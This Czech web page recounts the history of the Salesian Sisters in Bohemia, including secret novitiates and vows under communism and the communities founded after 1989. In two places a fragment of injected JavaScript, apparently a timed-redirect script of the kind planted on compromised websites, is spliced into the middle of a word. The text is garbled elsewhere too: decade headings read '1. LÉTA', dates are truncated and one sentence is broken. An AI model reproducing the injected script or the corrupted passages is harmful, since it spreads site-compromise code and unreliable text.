Podrobná historie sester salesiánek v Čechách

POČÁTKY

Počátky díla Dcer Panny Marie Pomocnice (salesiánek) jsou úzce spjaty s českými salesiány. Byli to právě oni, kteří pod vedením P. Ignáce Stuchlého SDB založili 28. 9. 1927 ve Fryštáku malé gymnázium pro chlapce. Brzy se však objevily i dívky, mezi nimiž můžeme jmenovat např. Anežku Holíbkovou, Františku Janákovou a Marii Bartuškovou, které se zajímaly o salesiánskou spiritualitu. Salesiáni poslali tyto tři jmenované do Itálie na formaci k sestrám salesiánkám. Dvě z nich po absolvování formace a složeních slibů odešly do misií, Anežka Holíbková do Brazílie a Františka Janáková do Dominikánské Republiky. Marie Bartušková musela ze zdravotních důvodů ukončit formaci a vrátit se do vlasti.

DRUHÁ SVĚTOVÁ VÁLKA

Během nacistické okupace pověřil P. Ignác Stuchlý ředitele brněnské komunity salesiánů P. Josefa Lepaříka a následně P. Františka Míšu, aby vyhledali alespoň šest dívek, které by měly zájem odjet do Itálie na formaci a poté se vrátit do vlasti jako salesiánky. V té době zde byly již některé dívky, které pravidelně navštěvovaly salesiánskou oratoř, pomáhaly, kde bylo třeba a postupně převzaly starost o dívčí mládež. Tato děvčata později založila Kroužek Panny Marie Pomocnice. Také v Praze se sdružovaly dívky, které měly v úmyslu věnovat se výchově dívčí mládeže.

OBDOBÍ PO DRUHÉ SVĚTOVÉ VÁLCE

V roce 1947 odjela za účelem formace do Turína Anna Otradovcová. O rok později odjela z téhož důvodu na Slovensko Alena Vojtková, která započala noviciát Nitře, avšak po zásahu režimu proti ženským řeholím byla policií odvezena zpět do svého domova. Své první sliby tedy složila tajně ještě před oficiálním ukončením noviciátu. Po čtyřicet let je pak každý rok tajně obnovovala buď v přítomnosti některého důvěryhodného knězem, nebo také sama.  Věčné sliby mohla složit až 8. 12. 1991.

Když byly po komunistickém převratu v roce 1948 zakázány veškeré výjezdy do zahraničí, podala si žádost na biskupský ordinariát v Brně Věra Vorlová. Odjela do Turína v dubnu 1949 a v Itálii pak zůstala kvůli nepříznivé politické situaci v naší zemi více než padesát let.

  1. LÉTA

Řada salesiánů, přestože riskovala nové zatčení, začala navazovat na své dřívější působení mezi mládeží. Jedním z nich byl i P. Josef Lepařík, SDB. Ten po návratu z vězení v roce 1959 začal zakládat skupinky děvčat, která se rozhodla složit soukromé sliby chudoby, čistoty a poslušnosti. Nejdříve byla založena skupina v Ostravě. Další společenství se vytvořilo v Brně. Dívky se každý měsíc scházely na měsíční duchovní ústraní, studovaly životopis Dona Boska, některé se i věnovaly děvčatům. Po Ostravě a Brnu začal P. Lepařík dojíždět také do Prahy, kde jádro společenství tvořily sestry Marie a Anna Netušilovy, které na velikonoční pondělí 18. 4.1960 učinily první předsevzetí na jeden rok, že budou zachovávat chudobu, čistotu a poslušnost. Po nich učinila toto předsevzetí Marie Poděbradská v roce 1966 a následně i několik dalších.

Pražské jaro 1968 přineslo určité politické uvolnění. 21. srpna však došlo k násilné okupaci vojsky Varšavské smlouvy a poté následovala tzv. normalizace, kdy se politické represe vrátily. Invaze vojsk Varšavské smlouvy zastihla Marii Netušilovou na faře v Klášterci nad Orlicí, kde se měla u P. Františka Halíka konat duchovní cvičení. Ta se pochopitelně nekonala a Marie zde ještě s další dívkou uvízla na řadu dní plných nejistoty a strachu. V témže roce měla Marie Zímová (Nika) podanou žádost o pas a výjezdní doložku do Itálie. K této cestě však již také nedošlo.

Od roku 1968 zastával službu inspektora české salesiánské provincie P. František Míša, SDB (Dominus). Vzhledem k politickému uvolnění „Pražského jara“ se radil se spolubratry o možnosti založení Dcer Panny Marie Pomocnice u nás. Sovětská okupace však tyto naděje zmařila.

  1. LÉTA

Od počátku 70. let jednal P. František Míša s hlavní představenou v Římě o možnosti povolení zvláštní formace z důvodu výjimečné politické situace. Tato formace měla probíhat pod vedením salesiánů. Odpověď byla nejprve zamítavá, avšak poté, co došlo k jednání s kardinálem Štěpánem Trochtou o možnosti založení diecézní ženské kongregace se salesiánskou spiritualitou, přišlo nakonec i z Říma povolení začít formaci FMA pro dívky a mladé ženy do třiceti let. Formací byl pověřen P. Milan Frank SDB.

  1. LÉTA

Po absolvování noviciátu pod vedením P. Milana Franka tak 8. prosince 1980 složily první sliby sestry: Marie Zímová, Marie Hušková a Jana Tauchmanová. Vše se odehrálo v tajně v zapadlé vesničce Verneřicích, za účasti salesiána P. Milana Franka a delegátky hlavní představené sr. Marie Pytel z Polska a sr. Marie Černé ze Slovenska. Slibů se zúčastnili též inspektor salesiánů P. Míša a další dva salesiáni: P. Ladislav Vik a P. Josef Topinka. Toto datum je považováno za oficiální začátek působení sester salesiánek v naší zemi. Následně pak sestry obnovovaly své sliby každý rok buď v Čechách, nebo na Slovensku. Skupinka dívek se zájmem o salesiánské charisma se rychle rozrůstala. Tři výše zmíněné sestry dostaly povolení složit věčné sliby v roce 1984. Mezitím přišlo povolení hlavní představené, aby i starší kandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidátky mohly složit sliby. V roce 1984 tak 30. prosince složily sliby: Anna a Marie Netušilovy, Helena Koutecká, Marie Poděbradská a Milada Kašparová. Všechny tyto sestry se snažily v duchu salesiánského povolání, navenek však měly civilní zaměstnání.

Po ROCE 1989 až do dnes

Po pádu komunismu sestry začaly bydlet společně a došlo k ustanovení prvních komunit, a to v Praze a v Brně. Tyto dvě komunity podléhaly přímo generální představené v Římě. Další kandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidátky již odjížděly na počáteční formaci opět do Itálie. do své péče. V roce 1996 existovaly již čtyři komunity: Brno (dům pro děti z problematických rodin), Hradec Králové (internát), Praha-Karlín (Dívčí katolická škola, Církevní mateřská škola a oratoř) a Praha Kobylisy (počáteční formace aspirantek).

  1. srpna 1995 byla dekretem hlavní představené sr. Marinelly Castagno založena Česko-litevská vizitatorie, jejíž patronkou se stala Panna Maria Neposkvrněná. První představenou této byla jmenována sr. Mercedes Alvarez ze Španělska.

Roku 1996 byla založena komunita v Plzni (Středisko volného času) a v roce 1999 v Ostravě (Salesiánský dům dětí a mládeže). Také na Litvě byl v roce 1994 postaven nový dům, a to v Kaunasu (denní centrum pro děti ze znevýhodněných rodin a oratoř).

V roce 1997 byla založena též komunita ve Vilniusu (volná oratoř, práce ve farnosti), ta však o tři roky později zrušena. Téhož roku byla novou představenou vizitatorie jmenována sr. Jitka Fišerová. Po šesti letech ji v roce 2003 vystřídala sr. Věra Vorlová.
5. srpna 2009 generální představená povýšila vizitatorii na inspektorii a inspektorkou byla jmenována sr. Marie Tkadlecová. 17. srpna 2009 byla otevřena komunita v litevském Kaišiadorysu.
4. srpna 2015 převzala službu provinční představené sr. Jana Svobodová.